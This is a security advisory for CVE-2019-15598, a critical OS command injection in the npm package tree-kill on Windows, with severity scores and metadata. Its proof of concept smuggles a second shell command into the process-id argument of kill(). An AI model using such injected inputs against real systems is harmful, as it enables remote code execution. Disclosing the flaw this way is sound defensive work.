CVE-2019-15598 – tree-kill
Package
Manager: npm
Name: tree-kill
Vulnerable Version: >=0 <1.2.2
Severity
Level: Critical
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS: 0.03754 pctl0.87578
Details
Treekill Enables OS Command Injection A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created
Metadata
Created: 2022-05-24T17:04:00Z
Modified: 2024-04-22T23:20:00Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-j7fq-p9q7-5wfv/GHSA-j7fq-p9q7-5wfv.json
CWE IDs: ["CWE-78"]
Alternative ID: GHSA-j7fq-p9q7-5wfv
Finding: F404
Auto approve: 1